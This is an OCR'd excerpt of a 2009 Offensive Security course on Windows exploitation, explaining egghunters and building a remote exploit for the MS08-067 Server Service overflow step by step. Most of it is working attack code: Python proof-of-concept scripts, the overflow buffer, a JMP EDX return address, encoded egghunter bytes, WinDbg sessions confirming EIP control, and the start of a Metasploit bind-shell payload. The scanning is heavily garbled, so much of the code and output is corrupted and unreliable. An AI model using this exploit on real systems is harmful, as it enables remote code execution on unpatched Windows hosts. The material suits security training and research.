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Introduction

Exploiting software vulnerabilities in order to gain code execution is probably the most powerful and
direct attack vector available to a security professional. Nothing beats whipping out an exploit and
getting an immediate shell on your target.

As the IT industry matures and security technologies advance, exploitation of modern popular software

has become more difficult, and has definitely raised the bar for penetration testers and vulnerability
researchers alike.

In this course we will examine five recent vulnerabilities in major software, which required extreme

memory manipulation to exploit. We will dive deep into each scenario and gain a firm understaning of
Advanced Windows Exploitation.
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* Understanding Egghunters

* Understanding and using Egghunters in limited space environments
* Exploiting MS08-067 vulnerability using an Egghunter

Overview

An egghunter is a short piece of code which is safely able to search the Virtual Address Space for an egg,
a short string signifying the beginning of a larger payload. The egghunter code will usually include an

error handling mechanism for dealing with access to non-allocated memory ranges.

The following code is Matt Millers egghunter implementation™:

We use edx for the counter to scan the memory.

loop inc page:

or dx, OxO0fff

loop_inc one:

inc edx

loop check:

push edx

push 0x2, pop eax
int Ox2e

cmp al,05
Pop edx

loop check 8 wvalid:

is egg:

je loop inc page

mov eax, 0x57303054
mov edi, edx

scasd

jnz loop_inc one
scads

jnz loop inc one

matched:

jump edi

Go to last address in page n (this could alsoc be used to

: XOR EDX and set the counter to 00000000}

Go to first address in page n+l

save edx which holds our current memory location
initialize the call to NtBRccessCheckAndAuditAlarm

: perform the system call

check for access violation, 0xc0000005 {ACCESS VIOLATION)
restore edx to check later the content of pointed address

if access violation encountered, go to next page
lcad egg (WOOT in this example)

initializes pointer with current checked address
Compare eax with doubleword at edi and set status flags

: No match, we will increase our memory counter by one

first part of the egg detected, check for the second part

: No match, we found just a location with half an egg

edi points to the first byte of our 3rd stage code, let's go!

[Matt Millers egghunter implementation] http.//www.hick.org/code/skape/shelicode/win32/egghunt_syscall.c

2 "Safely Searching Process Virtual Address Space" (skape 2004) http://www.hick.org/code/skape/papers/egghunt-
shellcode.pdf
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The following diagram depicts the functionality of Matt Millers' egghunter.

EggHu nter

WOOTWOOT EggHunter

Got WOOT? No!

Got WOOT? Nol!

Got WOOT?  YES! [
WOOTWOOT? YES!

You Be Shellcode!

Take some time to examine the code and corresponding diagram to understand the egghunters method
of operation. This will become clearer once we see the egghunter in action.

) smill Sfte. Serhed
Ege. Some o €49

é) Larsen Sesmell 15 €8s
Srelflc ok,
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1) Get familiar with an Egghunter. Open Egghunter.exe in Ollydbg and pa the “test” parameter as

shown below. d—:__’b:‘f / ke {//ou-{-MnL Egobentin
e Twe DD s £3g

Lok in. | (2 Desktop > = = -
;_}Mv Documents ;; Imnrrunity Debugger
4 My Computer i VMware Infrastructure Client
4 My Metwork Places o ¥Mware Shared Folders
S’ Converter Standalone Clent __Jlotus-new
Lf' Divy Converter LJMODULE_0x03
¥ D Plaver GaMew Folder
E FEEEET .|

File namme: ;_egg}mter.exe Open [ !
Files of type: iigmutablefilel".exe] _'_i Lancel {

Arauments: !iaﬁ (41424142 :j i

2) follow the execution of the egghunter, which is located at 00401030 (place a breakpoint there) by
pressing F8.

- OllyDbg - egghunter.exe - [CPU - main thread, module egghunte]
LC] File Yiew Debug Plugins Options Window Help

?_J_J_l _!_I wi s s0d M o .J_J_J_J_IH

? }_66 21CR FFaF UR DX BEFF
BE481635 > 42 -!INR EDK
20401036 B v _ | PUSH EDX
Aa4a1837 . 67 62 PlEH
Ba4B1p39 . &8 | POP ERX
eadeiasn . CD 2E _ INT 28 .
A848183C . 3C 65 CHP AL, _. §
Ga40103E . BA POP EDX . |
ea4B163F ,~74 EF ‘JE SHORT egghuhte 994819@8
gadaiadl . BB 985@9&%9 i MOU ERX, Seasneg
ga4@1646 MOU EDI,EDY
ea4p104s HF SCARS UMGRD PIR EB:IEDI:
ABd4n1ngds ~F5 ER M SHORT egghunte. 804611835
Badaiade . AF SCAS DUORD FTR ES:[EDI]
BB4e104C .~75 E7 JHZ SHORT egghunte.BB401838
B848104E . FFE? LJHP EDI
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The Vulnerability reported in the MS08-067 bulletin affected the Server Service on Windows systems
allowing attackers to execute arbitrary code via a crafted RPC request that triggers the overflow during

path canonicalization®.

This vulnerability was exploited in the wild by the Gimmiv.A worm, which propagated automatically
through networks, compromising machines, finding cached passwords in a number of locations and then

sending them off to a remote server.

-1

3-067 Case Study: crashing the service

Now that we have the basic concept egghunters, let's analyze the following POC*:

#! /usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpec import transport
import sys

prj_nt Wb S E R bR s e s s SRR AT R R R R R R R R R R R R R R

PR SR ko MS0B-67 Win2k3 SP2 G i
Prin Bsad ko 4 dod offensive-security.com LT S S
pPrapt PRERkTRdones ryujinemuts -—- 11/30/2008 wibh S S

print ME SR AR R R SRR R R R R R R R R

try:
target = sys.argvil]
port = 445
except IndexError:
print "Usage: %s HOST" % sys.argv([0]
sys.exit (}

trans = transport.DCERPCTransportFactory('ncacn np:%s[\\pipe\\browser]' % target)
trans.connect ()
dce = trans.DCERPC class(trans)

dee.bind{unid.unidtup to bin({{'4b324fc8-1670-01d3-1278-5a4Tbf6eelB8’, '3.0')})

2http:,a'{(:\.fe.mitre.cu’g;"c;zi-bin,lt:\f'ename.(:gi?nan'|e=C\a'E—20{3r8-4250

http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx

*To run the stub exploit you will need to download and install the impacket python module from

http://oss.coresecurity.com/projects/impacket.html

9 © All rights reserved to Offensive Security, 2009
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stub= *\x01\200\x00\z00" # Reference ID
stub+="\x10\z00\x00\=x00" ¥ Max Count
stub+="\x00\x00\=x00\=00" # Dffset
stub+="'\x10\x00\xz00\x=00" # Actual count
stub+="\xCC"'*28 # Server Unc
stub+="'\z00\z00\z00\=00" # UNC Trailer Padding
stub+="'\x2f\x00\x00\x00" # Max Count
stub+="\x00\=x00\=x00\x00" # Offset

#

stub+="\x2£\x00\x00\x00" Actual Count

stub+="'\x41\x00\x5c\x00\x2e\x00\x2e\x00"' # PATH BOOM
stub+="\x5c\x00\x2e\x00\x2e\x00\x5c\x00' # PATH BOOM
stub+="\x41'%74 # STUB OVERWRITE

stub+="'\x00\x00" i
Padding

stub+="\x00\x00\x00\x00" #
stub+="\r02\x00\x00\=00" # Max Buf
stub+="\x02\x00\=00\=00" # Max Count
stub+="\x00\x00\x00\=00"' # Offset
stub+="\x02\x00\x00\x00" # Actual Count
stub+="\x5c\x00\x00\x00" # Prefix
stub+="\z01\x00\=z00\=00" # Pointer to pathtype
stub+="\x01\x00\x00\x00" # Path type and flags.

print "Firing payload..."
dece.call (0x1f, stub) #0x1f (or 31)- NetPathCanonicalize Operation

MS08067_0x1.py Source Code

In the above POC you should focus your attention on the following points:

*  stub+="\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' - this is the
evil path which triggers the overflow;

. * stub+="\x41'*74 - this string will overwrite the return address.
bl

s I
Now, let’s fire Windbg, attach the svchost.exe process responsible for the Server Service and analyze the

crash. Note: You can choose the right svchost.exe process to attach by opening the sub-tree of each
svchost process in Windbg Attach Window and searching for Server service. If you can’t see it, “Process
Explorer” from Sysinternals can help you find the right PID.

4http:/’jtechnet.microseﬂ.com,/en—us,fsvsintemaIs,fbb896653‘aspx
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root@bt # ./MS0B067_Oxl.py 172.16.30.2

kKRR A Ik hkkrk kT hk kbbb A F Rk bk h kA krhh ik khhhhhhdk

ke k ke ki k kR I&SOS‘G? Wln2k3 Sp2 A e e etk de Aok e ke
o offensive-security.com s R
Rk k kA ok k ryujinemuts --- 11/30/2008 Kok ek

LA AR SRR RS S R R R

Firing payload...

{3¢c0.714): Access violation - code c0000005 (first chance}

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=41414141 ebx=00f7005c ecx=00£7f4b2 edx=00f7f508 esi=00f7f4b6 edi=00£7fd64

eip=41414141 esp=00f7f47c ebp=41414141 iopl=0 nv up ei pl Zr na pe nc
cs=001b s5=0023 ds=0023 es=0023 £s5=003b gs=0000 ef1=00010246
41414141 27 ?7?

MS08067_0x1.py WinDbg Session

The Server Service crashed, a function return address has been overwritten and we can control
execution flow (EIP can be controlled by our evil string).

4 el el T

]@53:Dp81p

disassemnbls 1
| 27 ?
41414142 77 ?
41414143 7?7 74
41414144 77 ?
41414145 27 7
41414146 7?7 PP
41414147 727 7?7

)

3

’?

41414148 77
41414143 7

41414145 77
4141414b 7

4141414c 27
41414144 77
4141414 77
4141414£ 77

Figure 1: Return address completely overwritten by evil buffer

11 © All rights reserved to Offensive Security, 2009
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We now must find the exact offset needed to control EIP. We will use the pattern_create tool from
Metasploit to create a unique string that will help us to identify the offset:

root@bt % /root/framawurk-B.2/toola/pattarq“cxaate.rb 74
RaChalBaZha3Radhabha6RaTRabRaSb0Bblab28b3RbARbSAb6ALTALSALOACOACIBe2AC 3D

[ 30 _1 i :.
stub+='\x41\x00\x5c\x00\x2e\x00\x2e\x00" # PATH BOOM
stubt="'\x5c\x00\x2e\x00\x2e\x00\x5c\x00"' # PATH BOOM
stub+='Aa0AalAaZha3RadAa5habAaTAaBhadAbiabl Ab2AbIABAALSALEALTALBALIACOACI Ac2RC3AG!
B

Finding the right offset replacing part of the buffer with a pattern string

We replace the "A" string with the above pattern to obtain our new POC in which we changed only the

part of the buffer overwriting the return address. Running the new POC we discover that the offset is 18
Bytes:

root@bt # ./MS08067 Ox2.py 172.16.30.2

EREHE R T Ak dh bk bRk kA kAR R R Ekk kb kh Rk d h kR Ak kb kA F R Rk

Fhkk kR Rk AR MSOB-67 WinZ2k3 sp2 khFhrkE R A KA
e e ke e e offensive—-sé'curity.com i o
khkkkk ki hk ryajin&muts e 11/30/2003 kEkEk bk h Rk hh

******k*tt***w\h*k*#******i****\E*********1********}*****

Firing payload...

(1d0.39¢c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before anv exception handling.

This exception may be expected and han

eax=61413761 ebx=00f7005c ecx=00f?f4b2@“esi200f7f4b6 edi=00f7f464
eip=41366141 esp=00f7f47c ebp=35614134 iopl= nv up ei pl zr na pe nc
cs=001b ss5=0023 ds=0023 es=U0P3 £5=003b gs=0000 e£1=00010246
41366141 7?7 227

root@bt # /root/framwork—:s.2/tools/pattern_“offset.rb 41366141
18 i

Offset Discovered

gor e
wre \‘J-(. {E—-@ ‘ﬁ

4
\*

12 © All rights reserved to Offensive Security, 2009
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Customize..

(1]
Ja}

vy

m o =3
L 1
[N

m ¢
o
W

ed=

Figure 2: Unique pattern overwrites return address with value 0x41366141

1) Repeat the required steps in order to obtain the offset needed to overwrite the return address.

ot e S e B N
[ RS ]
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MS08-067 Case Study: from POC to Exploit

After changing the buffer in the previous POC with the following and crashing the Server Service once
again...

stub+="\x41"%18 + '\x42'*4 + '\x43'%44 + T\xdd4'*4 + "\x45'%4 # 74 Bytes

Confirming offset to overwrite EIP

we come to the following conclusions:

An 18 byte offset is needed to control EIP (EIP=42424242 as expected);

= 23
ds 23
&d} 130fdR4d

Figure 3: EDX points to part of the controlled buffer

More than one register points to a part of the controlled buffer;

The evil buffer is, for some reason, doubled on the stack and, moreover, the 4 bytes pointed by
EDX (0x013f508 and the following 4 bytes) are a copy of the last 8 bytes in our 74 bytes buffer;

14 © All rights reserved to Offensive Security, 2009




Memory 1.1
i 0w 130 p £ i - : {
Vnudiﬁs 130f4=0 _mq%wtmnmL[AauII vg: Frevious |

Hext |

0130f 3cd i
0130f 28
0130£403
0130f4l1e
0130£439
(130£454
0130€46¢
(1130£48a
0130£4a5
0130f4c0
0130f4db
D130f4fe
0130511

1T M O
o

it
[ =+ I
irgf(\l,w, e
“J afel TN

)

Omo
1YY
¥y
.

1
A
C
&

1=
o p—

1810 )
Einy
1

Aelny =

2 120 (7)) e

Pa——

BIa RISl o
[ Rl
Oy O
= [T m
T O
-y o
-, b

aTul Tulalk =
Ll
BTal i =Nak 2

:

alalk::
i i
el o
T -
mom
T m

fai l
DDDDEEE

Figure 4: Evil buffer doubled on the stack

* We don’t have enough space to store shellcode in a memory area pointed by any of the
registers. If we use a JMP EDX instruction as a return address, the memory space between the
address overwriting EIP (0x42424242 at 0x130fdce) and the ‘“lan
(0x44444444 at 0x130f508), is enough to store an egghunter]|(58 Bytes).

ding zone” address {———u

emo;y ;
ksl [0130f 4ce

4343 :
43434343
43434343
| 4 43434343 |
HO130 : 44444444 ;
D130£502 45454545 |
3 44440000
45454444 |

: Q0004545 <Unloaded T .DLL>+0x4544
2 ooooooaon
10130516 0OOOO000
10130€6S1a 00000000

B orol D ovr

s

4

Figure 5: Owned return address on the stack
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| ' Next

0130f4) 41414141
0130f4c@ 41414141
0130£4 41414141

43434343
3 43434343
44444343

T DIL>+0x4544

Figure 6: Memory space between return address and the “landing zone”

16
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At the beginning of the buffer we stored a 28 byte 0xCC string inside the “Server UNC” packet field. The
Server UNC field was tested as a candidate to store our shellcode’. Try thinking about the following

scenario:

1. We store the egghunter just after our RET;

2. We exploit the EDX register to jump to the end of the controlled buffer; ¥

3. We short jmp back to the beginning of the egghunter to execute it;,;lf

4. The egghunter searches for the real shellcode, jumps into it and executes it.

41 41 41 41

41 41 41 4

RET = JMP EDX

90 90 90 90

350 90 S0 90

90 90 90 90

EGGHUNTER

EGGHUNTER

SHORT JMP «

PADDING

-

OFFSET=18 Bytes

Sb {_Z /5 ¢ 3¢5

Sl

NOPSLED=12 Bytes

EGGHUNTER=32 Bytes

Figure 7: Attack scenario using egghunter

*http://msdn.microsoft.com/en-us/library/aa365247.aspx

17
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According to the egghunter approach we chose in the previous paragraph, we need to find a JMP EDX

\im")address to redirect execution flow into our controlled buffer. Let's search for one inside ntdll.dll using
Windbg:

nasm > jmp edx
\4 00000000 FFE2 Jjmp edx

0:045> 1dlls -c ntdll.dll
Dump dll containing 0x7¢B00000:

0x00081£08: C:\WINDOWS\system32\ntdll.dll
Base 0x7cB00000 EntryPoint 0x00000000 Size 0x000c0000
Flags 0xB0004004 LoadCount 0x0000£f£ff TlsIndex 0x00000000
LDRP_IMAGE“DLL
w& LDRP ENTRY PROCESSED

\,p 03 0x7cB00000 Lc0O000 ff e2
V) 7c808ab0\ ff e2 04 00 56 e8 42 af-00 00 85 c0 59 Of B5 ec ....V.B..... 2 i

Searching for “JMP EDX”

We first look up the ntdl/ base address and size, and then search for our opcode in the resulting address
space (0x7c800000 + 0xc0000). Let's now rebuild our stub exploit and include the RET and Millers'
egghunter:

#!/usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpc import decerpc
from impacket.dcerpc import transport
import sys

print MR e R R R R o S e e ]

Pribl Nhew b baiice s MS08-67 Win2k3 sP2 e sk e ek e e e T
prinks Freedred ee offensive-security.com Fh kb kR kR
rint MAkkkkkkkkox ryujin&muts ——— 11/30/2008 e ok e e e ke e 1T

print L e R R R R R R R R T o e e

Ery:
target = sys.argv[1]
port = 445
except IndexError:
print "Usage: %s HOST™ % sys.argvi0]
sys.exit ()

trans = transport.DCERPCTransportFactory('ncacn np:%s[\\pipe\\browser]' % target)
trans.connect {)

dce = trans.DCERPC class (trans)

dee.bind(utid.uuidtup to bin(('4b324£c8-1670-01d3-1278-5a47bf6eelB8', '3.0')})

stub= '\x0I1\x00\x00\x00' # Reference ID
stub+="\x10\x00\x00\x00" # Max Count
stub+='\x00\x00\x00\x00" # Offset

18 © All rights reserved to Offensive Security, 2009



stub+="\x10\=x00\x00\x00"
stub+="n00bn00b* + '\xCC'*20
stub+="\x00\x00\x00\%00"
stub+="\x2f\x00\x00\x00"
stub+="\x00\x00\x00\x00" Offset
stubt="'\x2f\x00\x00\x00"' Actual Count
stub+='\x41\x00\x5c\x00\x2e\x00\x2e\x00" # PATH BOOM
stub+="\x5c\x00\x2e\x00\x2e\x00\x5c\=x00"' # PATH BOOM
stub+='\x41'*18 # Padding

stubd="' \xb0\x8a\x80\x7c"' # 7cBOBab0 JMP EDX (ffe2)

Bctual count

Server Unc -> Length in Bytes = (Max Count*2) - 4 @Sb
UNC Trailer Padding

Max Count

S 85 @b dE g e

# offset to "DROP ZONE" is 44 bytes => 12 nop + 32 egghunter
stub+="\x90"'%12 # Nop sled 12 Bytes

# EGGHUNTER 32 Bytes

egghunter ='\x33\xD2\x90\x90\x90\x42\x52\x6a"
egghunter+='\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter+t+="'\xf4\xb8\x6e\x30\x30\x62 \xBb\xfa"
egghunter+='\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
stub+= egghunter

stub+="\x43\x43\x43\x43" # DROP ZONE
stub+="'\z44\xdd4\x44\xd4"

stub+="\z00\=00"

stub+="\xz00\=00\=z00\=00"' # Padding
stub+="'\x02\x00\x00\x00" # Max Buf
stub+="\x02\x00\x00\z00" # Max Count
stub+="'\x00\x00\x00\x00" # Offset
stub+="\x02\z00\x00\x00" # Actual Count
stub+="\x5c\200\x00\x00" # Prefix
stub+="\x01\x00\=x00\x00"* # Pointer to pathtype
stub+="'\x01\z00\=x00\x00" # Path type and flags.

print "Firing payload..."
dee.call (Ox1f, stub) #0x1f (or 31)- NetPathCancnicalize Operation

MS08067_0x3 Source Code

In our previous source code we included the pattern to be searched by the egghunter at the beginning
of our fake shellcode (stub+='n00bn00b' + '\xCC'*20).

e
—_—

-_—

Vl)b.!rz_{ L) o&:..,

( '€:><‘(:¢5’Gr ;0
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Let's set a break point on JMP EDX, run our new exploit and see if we land inside the "Drop Zone":

0:039> bp 7c808ab0
0:038> bl

0 e 7cB0Babl 0001 {0001) O:**** ntdll!RtlFormatMessageEx+0x132
0:03%> g

root@bt # ./MS0B067 Ox3.py 172.16.30.2

AR RS R Rt S s e R R L

KR kAR h KR offensive¥secﬁfity.60m KRR AR R R
TR Rk R PR L &, rwjinmts pas it 11/30/2008 Fooke e e e ek e R

FEEA R IR Ak T A b dh Ak h kA kT R kR AT h Ak Ak hkF Ak Fhd Tk kR ok h

Firing payload...

Breakpoint 0 hit
2ax=00909090 ebx=0064005c ecx=0064f4b2 edx=0064f508 es5i=0064£4b6 edi=0064f464

eip=7c808ab0 esp=0064f47c ebp=41414141 iopl=0 nv up el pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 £s=003b gs=0000 efl=00000246
ntdll!RtlFormatMessageEx+0x132:

7cB08ab0 ffe2 jmp edx {0064£508}

Stepping intc to check landing zcne:

0:013> p

eax=90909090 ebx=0064005c ecx=0064f4b2 edx=0064f508 esi=0064f4b6 edi=-0064f464
€ip=0064£508 esp=0064fd7c ebp=41414141 icpl=0 nv up ei pl zr na pe nc
cs=001b 85=0023 ds=0023 es=0023 £5=003b gs=0000 efl1=00000246
0064£508 43 inec ebx

MS08067_0x3 Windbg Session

A Pid 844 - WinDbg:6.9.0003.113 X86 .

possible

Joc8l8ab2 0400 add
7cBiBabd 56 push =1

- . e s - :%gi . e : . L 1 %
=Wduﬂ:]edz Dkday&xm&:layte :j Previous 2 MNext
O064£508 43 43 42 43 44 44 44 44 00 00 00 00 00 00 00 Q0 CCCCDDDD
O064£518 00 00 00 00 OO0 00 OO0 00 00 00 60 00 00 00 00 0o

Figure 8: Breakpoint hit on JMP EDX instruction
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‘,3 Pid 844 - WinDbg:6.9.0003.113 X86

File ﬁk View Debug ﬁ@ﬁmﬂ Help
eﬁ&%ﬁ&—.. MO E a@@m:l@lmm@

m%&w iy

_i?

i

Offset: |@S=copelp

0064fdfe 43 inc eb=

O0e4f4Ef 43 inc ehx

0064£500 43 inc &hx

00R4£501 43 inc ehx

D064£502 44 inc esp

D0e4£502 44 inc es

O064£504 44 inc esp

n0p4£505 44 1inc =5p

0064£506 0000 add byte ptr [eax]. al

(BN 4l0064£508 43
D064£509 43

inc ebx
D0e4f50a 43 ingc b=
00e4£50b 43 ine =hx
0064£50c 44 inc esp
0064£50d 44 inc esp
0064f50s 44 inc e=p

DOe4£50f 44 inc esp

HodLoad: S5faf0000 Gfafelll C \EJINDQQS\QVS?emq?\wbam\nrprom clll

HodLoad: 74ce=0000 74cee=(il C AWINDOUS .systend2wwben\wvhensve dll

{34c.7a4): Break instruction Ehﬁeptlﬂu — code B0000003 (first chance)
eax=7f{df000 ebx=00000001 ecx=00000002 ed==00000003 es1=00000004 ed1=0000000%

eip=7c8laldel esp=0lileffcc ebp=010sfffd i1opl=0 nv up &1 pl zr na pe nc
c==001b ===0023 ds=0023 e==0023 f{==0038 g==0000 ef1=00000246
ntdll ! DbhgBreakPoint :

7c8laldel co int 3

0:042> bp 7c808ab0

0:042> g

Breakpoint 0 hit
2ax=30%09090 ebx=0064005c ec==0064£f4b2 =dx=0064£508 e=si1=0064f4bs edi=0064f4p4

eip=7cil8abl esp=0064fd47c ebp=41414141 iopl=0 nv up 21 pl zr na pe nc
ce=001b s==0023 ds=0023 e==0023 {=s=003b gs=0000 ef1=00000246
ntdll IRt l1FornatlessageEx+0=132

7c80B8abl ffe? Jmp edw {0064f508}

0:037> p

eax=90%09090 =bz=0064005c ecx=0064f4b2 =dx=0064£f508 es1=0064f4b6 =d1=0064f464
eip=0064f508 ==sp=0064f47c sbp=41414141 1opl=0 nv up 1 pl zr na pe nc
cs=001b =s=0023 d==0023 es=0023 {f==003b g==0000 efl=00000246
0e4f£508 43 1nc ebx

Figure 9: Stepping over from breakpoint and landing in the controlled buffer
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Ok! We landed in the right place. Let's proceed to calculate the short jmp needed to reach the beginning
of the egghunter. The landing address, 0x0064f508, stores 0x43434343 at the moment; from here we
are going to look at the stack and assemble the short jmp with the help of Windbg.

§ﬁﬁ4f§c8 i1 inc R

O064f4co 41 inc [ws 4

G064fdca 41 inc =3

G0b4fd4ch 41 1nc oo

0fed4fdoc 41 1nc S®OX

0064f4cd 41 inc ecx

00ed4fdce BOBa now al, 8ih

00ed4f4d0 BO7c9090%50 chp byte ptr [sax+ede#*d-70h] 90h

0064f4dE 90
0064£4ds 90
Goe4f4d7 a0 nop
D0E4f4de 90 nop

O0pdfdds 9
nop >

!ﬂE4£4da

«-023 “es=0023 £==0038 gs-0000 T ef 1-00000246

'cclaae-' int 3
0-042> ?ah08&b0

0:042>
Breskpo:
=ax=90%]
eip=7c804
cs=001kb

t 0 hit
90 ebx=0064005c scx=0064f4L2 adu=0064£508 es1=0064f4b6 edi=0064f464
bl esp=0064f47c =bp=41414141 iopl=0 nv up =1 pl Zr na pe nc
ex=0023 des=0023 es=0023 {==003b g=s=0000 =f 1=0000024c

ntdll Rt lformatiessageEx+0xl1 32

;Q§§85bﬂ fel imp edx {00641508}

0. 837> P 3

2ax=90909890 ebx=0064005c ecx=0064f4b? edx=0064f508 es1=0064f{4bt ed1=0064f464

ﬂlp 0064f98 ssp=0064f47c 2bp=41414141 10pl=0 nv up ®i pl ¥ na pe nc

= 1 : 3 d==0023 es=0023 {fs3=003b g==0000 ef 1=00000246
inc ahx

Ig%yﬁxn_f S 1 =

Display format: |E:';.rts- vl PW! Hedt i

066 FENLE <4 44 44 44 00 00 00 00 00 00 00 aﬁ"hi CCDDDD
1%41514 llu 00 00 00 00 00 00 CO 00 00 00 00D 0D OC 0O oo

Figure 10: Assembling a short jump to reach the egghunter
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9
L g Ox

0:037> a

0064£508 jmp Ox0064fd4da < = -- in the middle of the NOP slide
jmp 0x0064f4da

0064£50a

0064£508 ebd0l jmp 0x0064fd4da <---- Our Short JMP OxEBD09090

[

Assembling short jmp opcode

Let's see if it works:

0:037> p

eax=9209090920 ebx=0064005c ecx=0064f4b2 edx=0064f508 esi=0064f4b6 edi=0064f464
eip=0064fdda esp=0064fd47c ebp=41414141 iopl=0 nv up ei pl 2r na pe nc
cs=001b s8=0023 ds=0023 es=0023 £5=003b gs=0000 ef1=00000246
0064f4da 90 nop

0064£4d0 807c909090 cmp byte ptr [eax+edx*4-70h},%0h

0o64fads S0 nop

0064f4d6 50 nop

0064£4d7 B0 nop

0064£4d8 90 nop

00641f4d9 80 nop

0064f4da 90 nop R e Short JMP lands here

0064f4db 90 nop

0064fdde 80 nop

0064f4dd S0 nop

0064fdde 33d2 Xor edx, edx

D0e4fd4eld B0 nop

0064fdel 280 nop

00g4fde2 90 nep

0064fde3 42 inc edx

0064fded 52 push edx

Testing short jmp
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.Breakpolnt 0 hat
2ax=930909090 =2bx=0064005c ecr=0064f4b2 edz=0064f508 es1=0064f4bk edi=0064f464

e1p=7c808ab0 esp=0064f47c ebp=41414141 iopl=0 nv up i pl zr na pe nc
cs=001b =s=0023 ds=0023 e=s=0023 {==003b g==0000 ef1l=00000246
ntdll !Bt lFormnatieszageEr+lnl32

ToBiBabl ffel imp eds {0064£5087%

0.037> p

2ax=9090%090 ebr=0064005c ecu=0064f4h2 =dz=0064fC508 esi=0064f4hé edi=0064f464
e1p=0064f508 esp=0064f47c =bp=41414141 iopl=0 nv up &1 pl zr na pe nc
cs=001lb s==0023 ds=0023 es=0023 f{s=003b g=s=0000 ef1=00000246
0064508 43 inc ehx

0:037> a

OOB4£508 Jmp O=0064f 4da
jup Oxl0cdfdda
00r4£50a

} esi=0064f4bf edi=0064f464
nvy up i pl zr na pe nc
ef1=00000246

005c ecx=0064f4b2
fd47c ebp=41414141
0023 =

edx=0064f

14a)

500

o
m

Figure 11: Testing the short jump

The short jmp is working. We allow the egghunter to run and see if it finds the fake shellcode (n00bn00b
+ O0xCC*20). We will set a breakpoint on the JMP EDI instruction that is called when the pattern
"n00bn00b" is found. As you can see below, the JMP EDI address for the breakpoint was found looking

at the stack:

0:037> hP 0064f4fe T PP — JMP EDI

0:037> g

Breakpoint 1 hit

eax=6230306e ebx=0064005¢c ecx=0064£478 edx=000falc0 esi=0064f4b6 edi=000falcB

eip=00¢d4fdfc esp=0064£f47c ebp=41414141 iopl=0 nv up ei pl Zr na pe nc
cs=001b s5=0023 ds=0023 es=0023 £s=003b gs=0000 efl1=000002486
0064fdfc ffe’ jmp edi {000falc8}

Egghunter in action
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Y : : e PR [
Offset: I@'Baeopelp Previous { Mest ;
006dfde? 58 pop eax

O064f el cdle int 2Eh

fi64fdea 3cE CREp al.5

N064fdec Sa pop ed=

N0f4fded 74f4 je I064fdeld

0064fdef LBAe303062 Rov eax. 6230306Eh

D0c4f4f4 EBbfa ROV edl edx

n0c4fd4fe af scas dword ptr es [edi]

O064£4£7 75ea

oes jne 0064fdesd
B0pdfdf9 ]

O064fdfe 43 inc b
DOR4f4ff 43 1 eh=
0064£500 43 inc b=
0064£501 43 ine ehx
0064£502 44 inc esp
0064£503 44 inc esp
BOE4E504 44 1nc esp

=ax=90909090 ebx=0064005c scx=0064f4b? edx=0064£508 es1=0064f4be edi=0064f4F4 ‘:J
e1p=0064£508 e=sp=0064f47c ebp=41414141 10opl=0 ny up 21 pl zr na pe nc

c==001b ===0023 d==0023 es=0023 fs=003b g==0000 ef1=00000246

00R4£508 43 1nc ebx

0:037> &

00641508 mp Ox0064f4da
Jnp Dx00i64fdda

Ol64f50a

2:037> p

eax=50909090 ebxz=0064005c ecx=0064fdb? edx=0064{508 esi1=0064f4bf ed1=006414%4
eip=0064fida esp=0064f47c =bp=41414141 1opl=0 nv up €1 pl zr na pe nc
ce=001h =s=0023 ds=0023 e=s=0023 f{s=003b gs=s=0000 efl=00000246
00pdfddas S50 nop

0:037> bp DOG4f4fc

ecx=0064£478 ed lfalcl esi=0064f4
ebp=41414141 iopl=0 nv up ei I
es=0023 { 03b  gs=0000

di=000falcB
~ na pe nc
ef1=00000246

_ i ] : . 7 ‘ - D_’f_! :
| Displayfomﬁ:IByta V; Frevious ! Mext I

000falch 6e 30 30 62 6= 30 30 62 cc cc cc cc oo cc oo oo nl0bn00b
000faldl cc coc ec cc € ec oc oo oo oo oc oo 00 00 o0 0O

Figure 12: Egghunter found the egg

“n00bn00b" was found! Let's step over to land into our fake shellcode:

0:013> p

eax=6230306e ebx=0064005c ecx=0064f478 edx=000falcl esi=0064fd4b6 edi=000falc8
eip=000e8158 esp=0064fd7c ebp=41414141 iopl=0 nv up ei pl zZr na pe nc
cg=001b ss5=0023 ds=0023 es=0023 £s=003b gs5=0000 efl=00000246
000e8158 oo int 3

000e8158 cc int 3

000e8159 cc int 3

000e815a cc int 3

000e815b cc int 3
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000eB15¢c cc int 3
000e815d cc int 3
000e815e cc int 3
000e815f cc int 3
000e8160 cc int 3
000e8161 cc int 3
000e8162 cc int 3

Executing the fake shellcode

It worked as expected!

1) Repeat the required steps in order to execute the egghunter and find the fake shellcode in memory.
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We can replace the fake shellcode with a real bind shell payload. Playing with our POCs and looking at
previously posted exploits on milwOrm.com, we observed that “Max Count field” and “Actual Count
field” have to be adjusted in order to control fhe payload size. More precisely we can see that
“Max/Actual Count” must be equal to (ServerUnc +A£)/2.

#! /usr/bin/python

from impacket import smb

from impacket import uuid

from impacket.dcerpec import deerpc
from impacket.dcerpc import transport
import sys

print "**kk*k************i*********ii&*************#*********i"

print "EERELEEkdw MSCB-67 Win2k3 SP2 ko k kR kR
PESHE VErrExate sy offensive-security.com i
prinl Akkskakiban ryujinsmuts --- 11/30/2008 o e kAT

DEINE MrFrh bk dd rd i b dh d ke bbb d b bk hh R bk kb ke hh R rk F kb bk h ek hdhk
-

Exy: .
target = sys.argv[l]
port = 445

except IndexError:
print "Usage: %s HOST" & sys.argv[0]
sys.exit()

trans = transport.DCERPCTransportFactory('ncacn np:$s{\\pipe\\browser]l' % target)
trans.connect ()

dce = trans.DCERPC class(trans)
dee.bind(vuid.uuidtup to bin(('4b324fc8-1670-01d3-1278-5a47bf6eel8B’, '3.0')})

# /%

# * windows/shell bind top - 317 bytes

# * http://www.metasploit.com

# * EXITFUNC=thread, LPORT=4444, REOST=

# */

shellcode = {

"\xfo\xba\xeb\x4d\xe8\xfI\xfF\RFF \xFF\x60\x8b\x6c\x24\x24 \x8b"
"\xd5\x3c\x8b\xTc\x05\x78\x01 \xeFf\x8b\x4 £\x18\x8b\ x5\ %20\ x01 "
